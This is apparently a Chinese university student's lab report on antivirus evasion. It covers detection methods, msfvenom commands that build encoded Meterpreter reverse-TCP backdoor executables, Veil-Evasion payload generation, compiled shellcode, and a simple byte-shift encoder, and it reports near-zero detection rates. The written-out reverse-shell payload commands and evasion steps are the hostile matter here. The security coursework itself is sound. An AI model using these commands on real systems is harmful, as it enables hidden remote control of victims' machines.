1. 程式人生 > >20155202張旭 Exp3 免殺原理與實踐

20155202張旭 Exp3 免殺原理與實踐

ever 難受 virus 分片 告訴 kali 基於 文件夾 梳理

20155202張旭 Exp3 免殺原理與實踐

AV廠商檢測惡意軟件的方式主流的就三種:

  • 基於特征碼的檢測
  • 啟發式惡意軟件檢測
  • 基於行為的惡意軟件檢測

    我們要做的就是讓我們的惡意軟件沒法被這三種方式找到,也就是免殺。具體的手段有:

改變特征碼

  • 依靠分片等方法嘗試找出特征碼區域,並對該區域代碼進行編碼
  • 加殼,使其無法進行逆向,比對病毒庫中的特征碼

改變行為方式:

  • 如果你手裏只有EXE
  • 有shellcode(像Meterpreter)
  • 有源代碼

    改變行為

  • 通訊方式
  • 操作模式
  • 例如之前註入所用到的反彈端口連接

    非常規方法

基礎問題回答

免殺是做什麽?

  • 防止被殺軟檢測出來

免殺的基本方法有哪些?

  • 1.改變特征碼
  • 2.加殼

開始實驗:

1.Msfvenom使用編碼器

  • Msfvenom是Metasploit平臺下用來編碼payloads免殺的工具。以Metaspliot的知名度和普及度。理所當然,所有AV廠家都盯著呢,一有新編碼算法,馬上就得加到特征庫裏。

編碼後呢,按理論上講,編碼會降低檢出率,大不了多編碼幾次,總會檢不出來。
一次編碼;

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -b ‘\x00’ LHOST=192.168.1.110 LPORT=5202 -f exe > 20155202.exe
  • 技術分享圖片

  • 很遺憾,剛生成就直接被360刪除了
  • 技術分享圖片

然後測試10次編碼,發現並沒卵子用。

 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -i 10 -b ‘\x00’ LHOST=192.168.1.110 LPORT=5202 -f exe > my_v1-10.exe
  • 技術分享圖片
  • 技術分享圖片

2veil-evasion

  • 我不會告訴你我安裝了一天的。
  • 這是一個和Metasploit
    類似的免殺平臺,Kali裏沒有
    在Kali終端中使用sudo apt-get install veil安裝
  • 技術分享圖片

  • 安裝完成後繼續安裝Veil-Evasion,好像像那麽回事
  • 技術分享圖片

  • 後面好像是在安裝python?但是好像出過錯,所以我最後直接刪除了pythen.
    技術分享圖片

  • 安裝完成後,我發現和別人的都不一樣,最後我抱著破罐子破摔的心態veil進入程序,然後一路按no,結果居然出現了正確的界面。

  • 在終端中使用```veil命令進入應用,輸入use evasion進入veil-evasion
    輸入use python/meterpreter/rev_tcp.py,然後設置回連IP和端口,生成後門文件:
  • 技術分享圖片
  • 技術分享圖片

  • 技術分享圖片
  • 技術分享圖片

  • 技術分享圖片
  • 真的尷尬,居然出錯了,很絕望,好在這時候我看了5201同學的博客,發現只要將use python/meterpreter/rev_tcp.py改成use c/meterpreter/rev_tcp.py
    後面一樣,然後生成了可執行文件,所以說大佬永遠是大佬。
  • 技術分享圖片

  • 看看Viruscan的掃描結果怎麽樣吧,這一步我並沒直接找到生成的文件,我用了 cp -r 要復制的文件夾絕對地址 /root 命令,將那個文件夾復制到主機root目錄下,取出來了.exe程序
  • 技術分享圖片

  • 掃描。

  • 技術分享圖片

比MSF進步了一些,但是還是有8個引擎檢測出來了有後門。

360不得不說稱得上王者啊!!!!

技術分享圖片

3. shellcode

Windows環境編譯

  • win7虛擬機不支持vs,所以這個實驗被迫在關了360的主機上做的,說實話,崩了好幾次,、在VS裏編輯編譯。

  • 技術分享圖片
  • 技術分享圖片
  • 技術分享圖片

  • 技術分享圖片
  • 編譯好後又無情查殺
  • 技術分享圖片

  • 回連先ping通,然後再做是沒有問題的
  • 技術分享圖片

  • 還是一樣用Viruscan和360掃描一下

  • 技術分享圖片
  • 真的是好了不少啊。

    4,.通過組合應用各種技術實現惡意代碼免殺

  • 我的加殼免殺很簡單,因為我認為如果一個算法很優秀,並不是以它的復雜程度來判別的,我運用了上一步中的shellcode的基礎上加上了我對每一位進行加一運算,出來了一個很醜的東西,我的算法是這樣的:

int main()
{
    int i;
    char a[500];
    for(i=1;i<500;i++)
    a[i]=met[i]+1;
for(i=0;i<500;i++)
    printf("%x",a[i]);
}
  • 技術分享圖片
  • 技術分享圖片
    經過一番細心梳理後完成了對其的編譯,看,是不是很漂亮:
  • 技術分享圖片
  • 然後去查殺一下 ,看看是不是很優秀,其實我還是很謙虛的,0%的報錯,安誰電腦裏都會很難受吧他們哈哈哈哈。
  • 技術分享圖片

離實戰還差哪些技術或步驟

  • 如何自動在別人電腦上把自己加密過的病毒解密釋放仍然是一個問題,現在的實驗歸根結底還是自己把東西拷到別人機器上,別人的ip地址都獲取不了,何談後面的一切?

    實驗體會

  • 這次實驗真的是花了兩天時間,veil的安裝問題百出,好在最後成功運行,這次實驗分了四個階段,讓我對病毒的認識有了進一步的提升,同時深刻看出了當今殺毒軟件的脆弱以及各殺毒軟件之間水平的差異,所以,謹慎小心對於我們這個行業的學生來說是非常重要並且安全威脅是近在眼前的!

20155202張旭 Exp3 免殺原理與實踐